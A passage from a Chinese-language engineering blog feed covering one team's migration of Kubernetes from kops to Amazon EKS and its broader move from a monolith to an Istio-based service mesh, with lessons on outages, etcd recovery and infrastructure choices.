+<p>首先无法调度就算了,升级期间无法起新的<code class="language-plaintext highlighter-rouge">Pod</code>也可以接受,一般也在低峰期升级。</p> + +<p>我们网络插件是 <a href="https://www.projectcalico.org/">Calico</a>,Master 节点上的 Kubernetes API Server 长时间宕机会直接导致 Calico 无法获取其他机器的信息从而导致机器之间的网络故障。</p> + +<p>除此以外,CoreDNS 也依赖 Kubernetes API Server,长时间的宕机也会产生问题。</p> + +<p>但这个升级又不得不进行,长痛不如短痛,趁集群内服务还不是太多的时候,得赶紧想个方案。</p> + +<p>最后,因为集群内服务还不多,而且都是无状态的,我们直接新建了一个临时集群,把当时的十几个服务在新集群跑了起来。</p> + +<p>然后把流量切到了临时集群后开始升级。</p> + +<p> </p> + +<h3 id="kops-kubernetes-api-server-配置损坏">kops Kubernetes API Server 配置损坏</h3> + +<p>可惜升级集群也不是一帆风顺,虽然在测试环境已经演练过了,但是线上竟然一直卡着不动。</p> + +<p>而我又做了个很傻的操作,我把 Master 节点重启了。然后就没有然后了…</p> + +<p>现在回想起来真想抽自己一个大嘴巴。</p> + +<p>不幸中的万幸,我按照 kops 迁移文档对 etcd 的磁盘做了镜像备份。但先要把原因找出来,登陆上 Master 节点查看各种日志,唯一有价值的就是提示 etcd 配置损坏的日志。但是为什么损坏?找了半天还是没找到。</p> + +<p>后来发现了一个迁移进度的日志,发现里面并没有什么错误,迁移也没结束。再结合我的重启操作联想一下,猜测应该是迁移并未结束就被我重启了,所以导致配置损坏。</p> + +<p>最后只能死马当作活马医了,停掉了 Master 节点,把 etcd 的磁盘从镜像中恢复,再重启 Master 节点。</p> + +<p>这次我一直盯着迁移进度,直到它完成。整个迁移过程花了将近半个小时。</p> + +<p>因为在测试环境这个过程只有几秒,线上几分钟不动,所以让我以为是卡住了。</p> + +<p>但说到底,我直接重启的操作是万万不可取的,以后再遇到类似的问题,第一步一定是去找原因,找到了原因再去重启。否则后果很严重。另外还有一个教训,做这种大的运维操作,记得备份,小心驶得万年船。</p> + +<p> </p> + +<h3 id="kubernetes-api-server-高可用">Kubernetes API Server 高可用</h3> + +<p>我们用 kops 算是很早的了,当时 kops 并没有 Master 节点高可用方案。Master 是单节点那么意味着 Kubernetes API Server 也是单节点。虽然 Calico 和 CoreDNS 都是强依赖 Kubernetes API Server,但是短暂的宕机并不会有严重的问题。例如 Master 节点升级,几分钟不会有严重的影响。</p> + +<p>但在 2019 年年中开始,我们集群会出现大量的 DNS 超时。当时的业务已经不少了,而且公司整个数据平台也是基于 Kubernetes 搭建的,所以整个集群 Kubernetes API Server 的压力是非常大的。</p> + +<p>最后研究后发现是 Kubernetes API Server 负载过高,导致 CoreDNS 访问 Kubernetes API Server 超时重启。最后引发了 DNS 超时。整个排查过程也不难,DNS 超时那么肯定先去看 CoreDNS 日志,然后就发现了原因。</p> + +<p>新版本的 kops 虽然提供了多 Master 的支持,但是却一直没有完善单节点到多节点的迁移教程。</p> + +<p>当时教程是有的,但是却没有故障恢复这个部分。经历过上次的升级问题后,没有故障恢复就很慌,完全不敢操作。</p> + +<p>官方在 2019 年 8 月才把故障恢复这部分文档补齐:<a href="https://github.com/kubernetes/kops/commit/a27b0f4439a386887d680c79fbe2300ca7c1c9bb#diff-12ee8d2ec7d8967931a5d72ecc62dadf">Added // restore // guide to single-to-multi-master.md</a></p> + +<p>在我们等待 kops 官方补齐这部分文档的时候,AWS 中国区的技术专员和我们一起交流了一下我们在 AWS 中使用 Kubernetes 的一些问题。他们向我们推荐了 Amazon EKS,而它和 kops 最大的区别就是:EKS 的 Master 节点是全托管的。Node 节点和 kops 一样是自己管理的。而且 EKS 的一些功能和 AWS 整合地更紧密,虽然这些功能 AWS 都开源做成了标准化 Kubernetes 插件了,但使用便捷性上,亲生的 EKS 还是要更胜一筹。</p> + +<p>其中 Master 节点全托管这点非常吸引我们,因为我们出过的问题和面临的问题全部是和 Master 节点相关的。而 AWS 可以保证 Master 节点的稳定可靠和无缝升级,那对我们的运维工作帮助非常大。</p> + +<p>我们公司没有运维,没有 DBA。所有相关工作都是我们自己做的,实在是没精力去研究这些了。</p> + +<p> </p> + +<h3 id="调研-eks">调研 EKS</h3> + +<p>EKS 那么好,那有什么问题吗?这个问题在和 AWS 技术专员交流的时候就问了,其中最大的一个问题就是 EKS 默认用的网络插件是 Amazon VPC CNI:<a href="https://github.com/aws/amazon-vpc-cni-k8s">amazon-vpc-cni-k8s</a>。</p> + +<p>它可以直接给<code class="language-plaintext highlighter-rouge">Pod</code>分配一个 VPC 内的 IP,就好像是 VPC 内的一台机器一样。这给业务调试带来了极大的便利。</p> + +<p>另外从性能角度也在各方面领先 Calico:<a href="https://medium.com/@jwenz723/amazon-vpc-cni-vs-calico-cni-vs-weave-net-cni-on-eks-b0ad8102e849">Amazon VPC CNI vs Calico CNI vs Weave Net CNI on EKS</a></p> + +<p>但是单台 EC2 IP 总是有限制,目前最多 30 多个,我们看了下我们适合的机器配置和<code class="language-plaintext highlighter-rouge">Pod</code>运行情况,一般单机也不会超过 30 个<code class="language-plaintext highlighter-rouge">Pod</code>,所以这个缺点对我们来说问题不大。</p> + +<p>另外 EKS 的操作理念和 kops 有些不同。kops 是把线上资源和本地 yaml 配置做对比,然后生成对应的操作。</p> + +<p>而 EKS 利用了 <a href="https://aws.amazon.com/cloudformation/">Amazon Cloudformation</a>,用它来管理资源。</p> + +<p>Cloudformation 最麻烦的一点就是,它的理念是一旦提交就不可变,所以 EKS 不能<code class="language-plaintext highlighter-rouge">rolling-update</code>一组机器。它只能新建一组机器再把老的那组机器销毁,这个过程略嫌麻烦,最后我们通过自己写了点脚本来解决,整体来说也不是什么大问题。</p> + +<p>另外 EKS 升级真的是无缝的?这个肯定也要自己试一下,建一个老版本集群集群,压测一下,然后升级。</p> + +<p>最后果然是无缝的,据说 EKS 内部 Master 节点魔改了一些东西,可以保证这块的高可用。</p> + +<p> </p> + +<h3 id="迁移到-eks">迁移到 EKS</h3> + +<p>托管 Master 的诱惑实在太大,调研结束后我们就准备迁移了。</p> + +<p>上次新建临时集群的时候,我们大部分服务都是无状态的,但这次,我们有状态的服务已经不少了。有些服务用了<code class="language-plaintext highlighter-rouge">PersistentVolumeClaim</code>,所以你得把它们磁盘里的数据迁移过去。</p> + +<p>除此以外也并没有什么太大的难度,新集群建好后流量通过负载均衡器慢慢切过去就行了,最后线上整个迁移过程也就用了几天而已。</p> + +<p>目前我们已经在 EKS 中运作大半年了,整体非常稳定,没有出现过任何相关的故障。也经历过一次 Kubernetes 版本升级,整个过程是无缝的。</p> + +<p> </p> + +<h3 id="aws-fargate">AWS Fargate</h3> + +<p>最近 AWS 推出了 <a href="https://docs.aws.amazon.com/eks/latest/userguide/fargate.html">Fargate</a>,可以理解为是全托管的 Kubernetes 集群。</p> + +<p>但是目前限制非常多,例如<code class="language-plaintext highlighter-rouge">DaemonSet</code>,<code class="language-plaintext highlighter-rouge">StatefulSet</code>等特殊的<code class="language-plaintext highlighter-rouge">Pod</code>都是不支持或者是不提倡使用的。</p> + +<p>目前我们这类有状态的应用还是挺多的,所以如果是单集群的话它明显不能满足我们的需求。未来等我们有了多集群方案,这种全托管的 Kubernetes 可以考虑搭配使用。</p> + + Thu, 20 Feb 2020 00:00:00 +0000 + /2020/02/migrate-kops-to-eks.html + /2020/02/migrate-kops-to-eks.html + + + + Service Mesh 实践(零):转型之路 + <h3 id="原始社会">原始社会</h3> + +<p>刚来创业公司的时候,被这简单粗暴的“架构”设计震惊了,准确的说,这里并没有什么设计。整个后端就一个单体程序,整体结构和大学里写的三层架构差不多,好吧,好歹还做了一些分层。设计模式就别想找到了,面向对象都很少见。</p> + +<p>作为初创员工加入后,发现其实这种代码在人少时还挺高效的。本地搞点配置写个脚本,几秒内就可以把新代码发布到线上。</p> + +<p>此时我们大致的架构是这样的:</p> + +<p><img src="/uploads/2020/02/architecture_1.png" alt="architecture_1" /></p> + +<p>但随着团队的扩张,2人、5人、10人,当 10 个人往同一个没有良好设计的项目里 commit 代码的时候,问题也慢慢地开始显现了。</p> + +<p>代码冲突,发布依赖,线上雪崩… 是时候开始微服务化了。</p> + +<p>2018年7月,我们的转型之路正式开始。</p> + +<!--more--> + +<p> </p> + +<blockquote> + <p>本文主要是介绍了我们做 Service Mesh 的技术背景和实施路线和每个阶段遇到的问题。其中有一些问题值得拿出来单独讲讲,所以后面还会有一篇篇的详解。</p> + + <p>文中类似这样的标注:<code class="language-plaintext highlighter-rouge">(1)</code>,可以去文章最后找到对应文章,看到更多内容。</p> +</blockquote> + +<p> </p> + +<h3 id="大众点评的微服务实践与经验">大众点评的微服务实践与经验</h3> + +<p>在我们开始的时候,正是 Service Mesh 开始流行的时候,对我们来说这是一个全新的概念,但是这和以前的微服务有什么区别呢?</p> + +<p>为了搞清楚这些问题,当然要参考一下老东家走过的那些路:<a href="https://cloud.tencent.com/developer/article/1054856">高可用性系统在大众点评的实践与经验</a></p> + +<p>文中有几个关键的阶段:</p> + +<ol> + <li>幼儿时期:2012年前,使命:满足业务要求,快速上线。</li> + <li>少年时期:垂直拆分(2012-2013),使命:研发效率 &amp; 故障隔离。</li> + <li>青年时期:服务做小,不共享数据(2014-2015),使命:支撑业务快速发展,提供高效、高可用的技术能力。</li> + <li>成年时期:水平拆分(2015至今),使命:系统要能支撑大规模的促销活动,订单系统能支撑每秒几万的 QPS,每日上千万的订单量。</li> +</ol> + +<p>同时,我也联系了一些点评正在做服务治理的同事,了解到他们虽然在调研 Service Mesh,但是并没有启动 Service Mesh 相关的改造。美团的 OCTO 路线图中有准备在 2.0 中把 Agent 模式改造成 Proxy 模式,和 Service Mesh 里的 Sidecar 其实已经很接近了。但现在依然还是 Agent 模式,流量不经过 Agent。</p> + +<p>为什么他们不做 Service Mesh 转型?</p> + +<p>我们应该先做微服务改造然后再做 Service Mesh 还是直接上 Service Mesh?</p> + +<p> </p> + +<h3 id="举步维艰的微服务化">举步维艰的微服务化</h3> + +<p>一开始因为更熟悉 Java 和大众点评那套架构设计,那自然就会优先选择 Java 生态链下的各种产品,包括大众点评,蚂蚁金服,携程还有 Spring Cloud 全家桶等。</p> + +<p>但在我构思从哪开始,一步步怎么走的时候,我快哭了。虽然 Java 生态链下开源产品很多,但不是一整套的解决方案。跨语言,RPC,服务注册与发现,监控,日志,分布式追踪,熔断,重试… 每一个问题拿出来都要做很久,不仅中间件开发成本大,所有的中间件也都要侵入代码,开发人员的成本也非常大。</p> + +<p> </p> + +<h3 id="一颗银弹">一颗银弹</h3> + +<p>正当我苦恼时,看到 Istio 1.0 发布了,Service Mesh 这个概念再一次出现在我们的面前。Istio 中的 Sidecar 模式也一下子把我们吸引过去了。</p> + +<p>Service Mesh 的详细介绍可以看这篇文章:<a href="https://skyao.io/talk/201710-service-mesh-next-generation-microservice/">Service Mesh:下一代微服务</a></p> + +<p>看起来它好像解决了我们大部分的问题:跨语言,监控,分布式追踪,熔断,重试…</p> + +<p>我们也突然明白为什么大公司很难做 Service Mesh 转型了,因为他们已经有了很多成熟的中间件来解决这些问题。在没有大问题前推倒重来是不现实的。国内走得最快的应该是蚂蚁金服了,基于 Istio 改造扩展了 SOFAMesh。</p> + +<p>另一个问题也慢慢变得清晰了,我们还需要先做微服务再做 Service Mesh 吗?很明显答案是否定的。</p> + +<p>Service Mesh 不是一个慢慢演进的产物,而是一个颠覆的产物。对于我们这种处于原始社会的架构设计来说,直接开始比慢慢演进更容易。</p> + +<p> </p> + +<h3 id="技术选型">技术选型</h3> + +<p>整个技术选型的过程没有很曲折,因为可选的方案不多。</p> + +<p>想要上 Service Mesh 那容器编排基本是逃不掉的,而 Kubernetes 基本就是容器编排的唯一标准了。</p> + +<p>而 <a href="http://istio.io/">Istio</a> 也没有太多竞争对手,当时没有,到现在基本也没有。</p> + +<p>AWS 后来出了一个 <a href="https://aws.amazon.com/app-mesh/">App Mesh</a>, Sidecar 也是和 Istio 一样用的 <a href="https://www.envoyproxy.io/">Envoy</a>,所以本质上并没有太大的区别。最大的优势就是控制平面可以不需要自己维护的,AWS 帮你托管了,这个算是一个最大的优势了。</p> + +<p>其实,就算未来 Kubernetes 和 Istio 出现了继承者,Service Mesh 下开发的业务也是低侵入,容器化的。后续再迁移到别的技术栈并不是一个太复杂的过程。再加上 Kubernetes 和 Istio 背靠 Google,也给了我们更多的信心。</p> + +<p> </p> + +<h3 id="集群搭建">集群搭建</h3> + +<p>在 Kubernetes 集群的搭建上,也没有太多选择。一个是官方出的 kubeadm,便于你搭建集群和后续的集群维护。而另一个是官方出的 kops,两者最大的区别是 kubeadm 主要是针对裸机操作的,而 kops 是对云厂商操作的。</p> + +<p>举个例如,如果你要搭建一个集群,用 kubeadm 的话集群你总要自己准备好吧。而 kops 不用,你选择好你的云厂商,并配置好对应的权限后,它可以做到一条龙服务,包括建机器,建集群,磁盘,负载均衡等都可以帮你一条龙搞定。</p> + +<p>你要做的只是维护一份 yaml 文件来管理你的集群配置而已。我们的服务在 AWS 上,kops 会帮你装上所有 AWS 相关的插件,例如 <a href="https://aws.amazon.com/ebs/">Amazon EBS</a> 存储插件,你在集群内直接创建<code class="language-plaintext highlighter-rouge">PersistentVolumeClaim</code>后插件就会自动帮你在 Amazon EBS 里创建一块磁盘了。</p> + +<p>kops 虽然是一条龙服务,但是它的使用方式非常可控。不像别的一些傻瓜式的软件,它做了什么你都不知道。</p> + +<p>这里的可控主要体现在无论你是创建还是修改集群,修改完 yaml 配置提交变更前,它都会像<code class="language-plaintext highlighter-rouge">git diff</code>一样告诉你哪些资源被改了,哪些资源被删了。</p> + +<p>除此以外,所有建出来的资源,例如 EC2,你都可以直接登陆上去,这个在排查问题的时候帮助也是很大的。</p> + +<p> </p> + +<h3 id="istio-的配置">Istio 的配置</h3> + +<p>Istio 跑起来不难,配置好不容易。</p> + +<p>首先是 Istio 1.0 刚发布,业内根本没有参考。所以通读 Istio 文档是必须的。还好 Istio 文档整体写的非常不错,也有丰富的例子。自己根据它的例子上手做一遍,大致怎么玩就知道了。</p> + +<p>但是初期版本的 Istio 文档还是略显简陋,很多细节并没有在文档中体现。</p> + +<p>例如用作流量控制的<code class="language-plaintext highlighter-rouge">DestinationRule</code>里的很多参数就找不到细节。Istio 本质上是下发配置给 Envoy,所以这块最后是根据 Envoy 的配置再去翻查 Envoy 的文档来理解的。</p> + +<p>还有比如 Istio 中怎么把特定的一个<code class="language-plaintext highlighter-rouge">Deployment</code>禁用 Sidecar 呢?最早的文档中也是没有的,但是在底层却发现了相关的参数,最终翻查 Istio 源码的过程中终于找到了相关配置。</p> + +<p>随着 Istio 新版本的发布,这些初期遇到的问题其实他们都可以很好的解决了。现在开始用的人并不一定会遇到这些问题。</p> + +<p> </p> + +<h3 id="可行性验证">可行性验证</h3> + +<p>到了这步,各种 Demo 都跑得差不多了,但不去真刀实枪的干一下,很多问题是不会暴露出来的。不去实战验证一下的话,也是不敢大规模推广的。</p> + +<p>这里我主要想解决这些问题:</p> + +<p> </p> + +<h5 id="哪些业务更适合用来做实验">哪些业务更适合用来做实验?</h5> + +<p>一种拆法是垂直拆分,如果原来的单体程序中业务都比较独立,那这样是可行的。但事实并不是这样,虽然我们各个业务都是独立的,但是中间公用的业务还不少。例如一个<code class="language-plaintext highlighter-rouge">block</code>功能,用户可以把别人<code class="language-plaintext highlighter-rouge">block</code>,而<code class="language-plaintext highlighter-rouge">block</code>之后在上层很多代码中需要做检查。</p> + +<p>所以,水平拆分开起来是一个更可行的方案,而且也只能从底层开始,把依赖最少的模块独立出来。例如上面提到的<code class="language-plaintext highlighter-rouge">block</code>功能,它内部只依赖了数据库,并不会再涉及到别的业务了。</p> + +<p>这个功能的调用量不小,功能简单,就算完全挂了也不会有严重的影响,看似是一个非常适合的小白鼠。于是我们第一个 Service Mesh 项目<code class="language-plaintext highlighter-rouge">block-sercice</code>就诞生了。</p> + +<p>如果第一个项目验证通过后,未来怎么继续迁移呢?我觉得可以继续按照这个思路去做迁移。把整个项目内部模块想像成一个树的话,从叶子节点慢慢的开始迁移,最终把整棵树挪过去。</p> + +<p> </p> + +<h5 id="新老架构如何互通">新老架构如何互通?</h5> + +<p>这个问题不难解决,老的单体程序虽然在 Kubernetes 集群外,但是完全可以通过 HTTP 访问。虽然这不是性能最佳的方案,但如果只是迁移过程中的方案的话,并不是不可接受。因为这个阶段小步快跑,灵活掉头更重要。</p> + +<p> </p> + +<h5 id="独立成服务后会出现哪些问题">独立成服务后会出现哪些问题?</h5> + +<p>这个问题在开发和上线运行的过程中出现了很多,最大的问题是很多标准和基础设施的缺失。虽说 Service Mesh 是一颗银弹,但这颗银弹不能解决所有微服务化下需要解决的问题,还是有很多东西需要亲自操刀的。</p> + +<p> </p> + +<h5 id="独立成服务后性能有多大的差别">独立成服务后性能有多大的差别?</h5> + +<p>不用测就知道这块肯定是有非常大的性能差异的。代码直接调用改成 RPC,那单纯的性能必定是成倍的下降。这是不可避免的,要解决它,我觉得依然从单纯性能角度去解决是没有出路的,网络请求的瓶颈摆在那,这是无法逾越的。</p> + +<p>要解决它,只盯着一个请求看不行的,应该从更高的角度看整个调用链,然后想办法去做优化。</p> + +<p>后面也会有专门的文章介绍我在这块的思考。<code class="language-plaintext highlighter-rouge">(9)</code></p> + +<p> </p> + +<h5 id="kubernetes-和-istio-的组合是否稳定">Kubernetes 和 Istio 的组合是否稳定?</h5> + +<p>这个问题在第一个项目验证的时候,并没有体现,但在后续越来越多项目迁入的时候,都发现了一些问题。<code class="language-plaintext highlighter-rouge">(1)</code> <code class="language-plaintext highlighter-rouge">(2)</code></p> + +<p> </p> + +<h5 id="验证的过程中如何做故障转移一键或自动切换到老代码">验证的过程中如何做故障转移、一键或自动切换到老代码?</h5> + +<p>这个问题也不难,我在我们老的单体程序里面实现了一套限流,熔断,故障转移的机制。如果 Kubernetes 集群内的服务挂了,直接访问老代码,这样就完全不会影响线上业务了。</p> + +<p> </p> + +<p>最后,这个项目上线后,后面要做什么我们也越来越清晰了。在验证它可靠性的同时,我们也开始一步步解决上面遇到的问题了。</p> + +<p>目前和以前最大的区别就是,以前 block 相关的业务是以前的单体程序直接访问数据库的,现在是先访问 Kubernetes 集群内的 <code class="language-plaintext highlighter-rouge">block-service</code>,由这个服务访问相关数据库。</p> + +<p><img src="/uploads/2020/02/architecture_2.png" alt="architecture_2" /></p> + +<p> </p> + +<h3 id="基础设施基本可用">基础设施基本可用</h3> + +<p>之前提到各种标准和基础设施的缺失阻碍了我们前进的步伐,不把这个解决大家就没办法继续了。总不能让大家自己手工 build 镜像,自己上传,再自己手写 yaml 吧。</p> + +<p>先不管好不好用,第一个短期目标起码是可用,从整个项目的开发运作来看,主要需要这些东西:</p> + +<p> </p> + +<h5 id="rpc-协议">RPC 协议</h5> + +<p>对于 Service Mesh 架构来说,服务发现,注册中心,健康检查这些问题在 Kubernetes 中根本就不是问题了,因为它本身已经提供了很好的支持;然后 Istio 又帮你解决了流量控制这块的需求。</p> + +<p>但是最终协议还是需要自己选择一下的,是直接用 HTTP 还是 gRPC?Istio 目前也只支持这两种协议。从性能角度来看,gRPC 肯定是更好的选择,gRPC 基于 HTTP/2,所以拥有 HTTP/2 的各种特性,再加上 gRPC 在编码解码上的特性,速度比 HTTP 要快非常多。</p> + +<p>因为 gRPC 基于 HTTP/2,其实两者并不冲突,很多 gRPC 的概念都是和 HTTP 一一对应的。例如 gRPC 里的 Metadata 本质上就是 HTTP Header。同一个微服务完全可以同时提供两种协议,而且业务代码完全是一样的。只要在外层做一层适配器,写一下路由,用一些工具类把 gRPC Metadata 和 HTTP Header 提取一下变成一个<code class="language-plaintext highlighter-rouge">map</code>,后面业务只管处理业务就行了,并不需要做额外的工作。</p> + +<p>另外这个项目 <a href="https://github.com/grpc-ecosystem/grpc-gateway">grpc-gateway</a>,可以直接把 gRPC 封装成一个 HTTP 服务,额外多一次网络请求,具体怎么实现根据你的场景来选择。</p> + +<p>虽然 gRPC 在语言的支持上已经非常丰富了,但我们一开始还要支持老的单体程序,老项目是 Python,用 gRPC 还是遇到了不少问题的。所以早期阶段我们的服务先只提供 HTTP 的接口,后续的业务慢慢加上了 HTTP 和 gRPC 双协议支持。长期的发展应该是 gRPC 为主,按需提供 HTTP 接口。</p> + +<p> </p> + +<h5 id="项目打包标准">项目打包标准</h5> + +<p>Kubernetes 做容器编排,那么容器化是必须的了。但是镜像并不能直接在 Kubernetes 中欢快地跑起来,除了镜像,你还缺了很多 Kubernetes 资源配置。</p> + +<p>理论上,Kubernetes 资源配置大部分内容是相似的,对于一个微服务来说总是需要这些东西:<code class="language-plaintext highlighter-rouge">Pod</code>,<code class="language-plaintext highlighter-rouge">Service</code>,<code class="language-plaintext highlighter-rouge">HorizontalPodAutoscaler</code>等,但因为我们公司技术栈比较分散,暂时还很难做一些通用的模版。所以前期我们会把 Kubernetes 资源配置以 <a href="https://helm.sh/">Helm Chart</a> 的形式放在代码仓库中,CI / CD 不仅仅会 build 镜像,还会打包 Helm Chart。</p> + +<p>而后面同质化的项目越来越多后,我觉得可以提供一种零配置的选择,让简单的业务可以不用自己去维护 Helm Chart 了。</p> + +<p> </p> + +<h5 id="ci--cd">CI / CD</h5> + +<p>我们调研了不少理念和工具。在前期通过 Jenkins Pipeline 实现了一个可用版,但还缺失了很多功能,只能说基本可用。<code class="language-plaintext highlighter-rouge">(7)</code></p> + +<p> </p> + +<h5 id="监控报警">监控,报警</h5> + +<p><a href="https://prometheus.io/">Prometheus</a> 是 Cloud Native 的顶级项目,对 Kubernetes 的支持当然不在话下。Prometheus + Grafana 也是这里最佳的选择。</p> + +<p> </p> + +<h5 id="分布式追踪">分布式追踪</h5> + +<p>Istio 的蓝图中,可观测性是一个很大的亮点。所以前期我们分布式追踪也用了 Istio 内置 Jeager 的解决方案。<code class="language-plaintext highlighter-rouge">(2)</code></p> + +<p> </p> + +<h5 id="日志搜集">日志搜集</h5> + +<p>依然是 Cloud Native 中的开源项目,<a href="https://fluentbit.io/">Fluent Bit</a> 是针对 Kubernetes 用 C 语言重现的 Fluentd。它针对 Kubernetes 做了很多优化。</p> + +<p>再配合 Elasticsearch,可以基本满足我们对日志搜集的需求。</p> + +<p> </p> + +<h5 id="完善文档">完善文档</h5> + +<p>整个 Service Mesh 推进的过程中,大量的新概念出现,特别是前期很多基础设施不完善的时候,开发更需要去学习更多技术细节。在整个基础设施从零到可用的过程中,我们也把所有的东西怎么搭建,怎么配置,怎么使用全部写成了内部文档。为团队成员提供了便利,也节约了自己的时间。</p> + +<p> </p> + +<p>这个阶段经历了几个月的时间,同时,最早迁移的<code class="language-plaintext highlighter-rouge">block-service</code>也稳定运行半年左右了,准备就绪!</p> + +<p> </p> + +<h3 id="新项目越来越多老项目越迁越多">新项目越来越多,老项目越迁越多</h3> + +<p>验证完可行性,基础设施基本可用后,整个转型进度走上了快车道。</p> + +<p>2019 年年初,正好有个大项目需要开发很多新的独立的模块;同时,有很多老项目用 MySQL 已经无法支撑,需要重写并采用别的数据库方案。这两个场景正好和技术转型非常对口。</p> + +<p>在2019年年底的时候,我看了看 Jenkins 上的项目,竟然已经到了 100+,线上集群 Pod 数量也达到了 1000+。</p> + +<p> </p> + +<h3 id="基础设施改进">基础设施改进</h3> + +<p>在 2019 年 Service Mesh 快速推进的时候,所有人对各种基础设施的要求也不再仅仅满足于可用了,一个个需求冒了出来。</p> + +<p>但实战中的需求会比脑补出来的需求靠谱很多,很多时候不怕没需求,就怕需求没想明白。</p> + +<p>整个 2019 年至今,我们发现并解决了这些问题:</p> + +<p> </p> + +<h5 id="kubernetes-master-节点性能问题">Kubernetes Master 节点性能问题</h5> + +<p>在使用<code class="language-plaintext highlighter-rouge">kops</code>的过程中我们出现过2个大问题,每次都造成了分钟级别的线上宕机,最后我们迁移到了 <a href="https://aws.amazon.com/eks/">Amazon EKS</a>。<code class="language-plaintext highlighter-rouge">(1)</code></p> + +<p> </p> + +<h5 id="istio-性能问题">Istio 性能问题</h5> + +<p>Istio 的 Mixer 模块对性能的影响不小,而且整体来说 Mixer 并不好用。<code class="language-plaintext highlighter-rouge">(2)</code></p> + +<p> </p> + +<h5 id="数据库中间件">数据库中间件</h5> + +<p>为什么数据库需要中间件而不是直接访问呢?有人可能会想到会不会是因为微服务化后服务太多,连接数太多?这的确是一个问题,但在良好的设计下,一个业务应该是一套独立的数据库,不应该出现那种被大量业务直接访问的数据库。如果有,那么这样的数据库应该被做成一个微服务。</p> + +<p>我们做这个主要是想解决多语言读写分离的需求,因为我们内部语言多,很难为所有语言找到好用的读写分离中间件,所以我们还是去调研了一些 Proxy 模式的数据库中间件,并在线上采用了。<code class="language-plaintext highlighter-rouge">(3)</code></p> + +<p> </p> + +<h5 id="api-gateway">API Gateway</h5> + +<p>自研 API Gateway 是迟早的事情,因为 API Gateway 和自身业务关系紧密。<code class="language-plaintext highlighter-rouge">(4)</code></p> + +<p> </p> + +<h5 id="优雅启动和优雅关闭">优雅启动和优雅关闭</h5> + +<p>Java 程序启动太慢,Golang 程序启动太快… 如何做到优雅启动和优雅关闭?<code class="language-plaintext highlighter-rouge">(5)</code></p> + +<p> </p> + +<h5 id="horizontalpodautoscaler-支持自定义-metrics"><code class="language-plaintext highlighter-rouge">HorizontalPodAutoscaler</code> 支持自定义 Metrics</h5> + +<p>主要靠开源项目 <a href="https://github.com/DirectXMan12/k8s-prometheus-adapter">k8s-prometheus-adapte</a> 解决,整体难度不大。</p> + +<p>但后面可以讲讲为什么需要让<code class="language-plaintext highlighter-rouge">HorizontalPodAutoscaler</code> 支持自定义 Metrics。<code class="language-plaintext highlighter-rouge">(10)</code></p> + +<p> </p> + +<h5 id="aws-账号与-kubernetes-账号身份认证打通">AWS 账号与 Kubernetes 账号身份认证打通</h5> + +<p>同样是靠开源项目 <a href="https://github.com/kubernetes-sigs/aws-iam-authenticator">aws-iam-authenticator</a>。但是它只能解决认证问题,不能解决授权问题。我们的解决方案是通过脚本把 AWS User, Group 和 Kubernetes RBAC User, Group 做映射,来解决 Kubernetes 内部的权限管理问题。因为我们团队规模还不大,暂时没有产品化,只是一些简单的脚本。</p> + +<p> </p> + +<h5 id="i18n">I18N</h5> + +<p>我们是一个面向全球的 App,所以所有也许都要做翻译工作。之前单一程序通过一些脚本就可以做到翻译文件的管理,但现在业务拆开后,不可能每个项目中都把这部分代码重新实现一遍。做成中间件不现实,业务自己调对应的服务也不现实,如何配合 API Gateway 来解决这个问题呢?<code class="language-plaintext highlighter-rouge">(6)</code></p> + +<p> </p> + +<h5 id="ci--cd-1">CI / CD</h5> + +<p>CI / CD 再次出现,原因很明显,第一版的 CI / CD 不好用,后续我们对它进行了改造。<code class="language-plaintext highlighter-rouge">(7)</code></p> + +<p> </p> + +<h5 id="分布式上下文">分布式上下文</h5> + +<p>一般 RPC 服务都会自动传播上下文,这样可以在调用链上游下游之间共享一些数据。但 Service Mesh 的重要一点是跨语言,RPC 协议也只是普通的 HTTP 或 gRPC,它们并没有相关协议。所以这块只能我们自己研发了。<code class="language-plaintext highlighter-rouge">(8)</code></p> + +<p> </p> + +<h3 id="最后的单体程序改造">最后的单体程序改造</h3> + +<p>当最老的单体程序业务能拆的都拆了以后,它依然是那么庞大。随着公司发展,总有那么一堆代码,复杂,看不懂,但是又不能去掉它们。</p> + +<p>花大精力去把这部分代码重构不现实,在业务变动不大的情况下,这部分代码完全可以继续运作。</p> + +<p>但现在这个单体程序是我们所有流量的入口,很多迁移成独立服务的流量还是要经过它,它要处理身份认证等功能。</p> + +<p>之前提到我们已经有自研的 API Gateway 了,那是不是可以把身份认证这样的功能迁移到 API Gateway 中,把已经改造完的项目直接通过 API Gateway 访问?把最老的单体程序中所有的通用功能迁移出来,只留下业务代码。最后再把它整体迁移到 Kubernetes 中,把它当成一个老业务的大杂烩服务。</p> + +<p>这个想法其实由来已久,但一直没动工的原因就是 API Gateway 还没支持好所有的通用功能;另外 CI / CD 一开始也不成熟,这个项目很大,没有金丝雀发布,没有回滚功能的话不敢迁移。</p> + +<p>最后,就在 2020 年初,把这两个障碍扫除后,我们也在近期完成了单体程序整体的迁移。</p> + +<p><img src="/uploads/2020/02/architecture_3.png" alt="architecture_3" /></p> + +<p>和上面的图对比一下,可以看到如下一些变化:</p> + +<p>以前直接在 EC2 里跑的单体程序没有了,被改造成了一个 Kubernetes 里的服务。很多业务也都被拆成了独立的服务。</p> + +<p>Kubernetes Ingress 从 Istio Ingress 换成了自研的 API Gateway。以前单体程序里的通用逻辑都在这里重新实现了一遍。</p> + +<p>最后,存储也变得多样性了,业务变大以后 MySQL 不能满足所有需求了。</p> + +<p>至此,我们的 Service Mesh 转型之路算是告一段落了!</p> + +<p> </p> + +<h3 id="更多内容">更多内容</h3> + +<blockquote> + <p>以下内容如果没有链接代表还未完成。</p> +</blockquote> + +<ol> + <li><a href="/2020/02/migrate-kops-to-eks.html">Service Mesh 实践(一):从 kops 到 EKS</a></li> + <li><a href="/2020/02/replace-istio-mixer.html">Service Mesh 实践(二):Istio Mixer 模块的性能问题与替代方案</a></li> + <li><a href="/2020/02/database-middleware.html">Service Mesh 实践(三):数据库中间件</a></li> + <li><a href="/2020/02/api-gateway.html">Service Mesh 实践(四):从开源 Ingress 到自研 API Gateway</a></li> + <li><a href="/2020/02/graceful-start-and-shutdown.html">Service Mesh 实践(五):优雅启动和优雅关闭</a></li> + <li><a href="/2020/03/i18n-language.html">Service Mesh 实践(六):I18N Language</a></li> + <li><a href="/2020/03/ci-cd.html">Service Mesh 实践(七):CI / CD 的变迁</a></li> + <li><a href="/2020/03/distributed-context.html">Service Mesh 实践(八):分布式上下文</a></li> + <li>Service Mesh 实践(九):为什么 Golang 更适合 Service Mesh</li> + <li>Service Mesh 实践(十):HorizontalPodAutoscaler 支持自定义 Metrics</li> + <li>Service Mesh 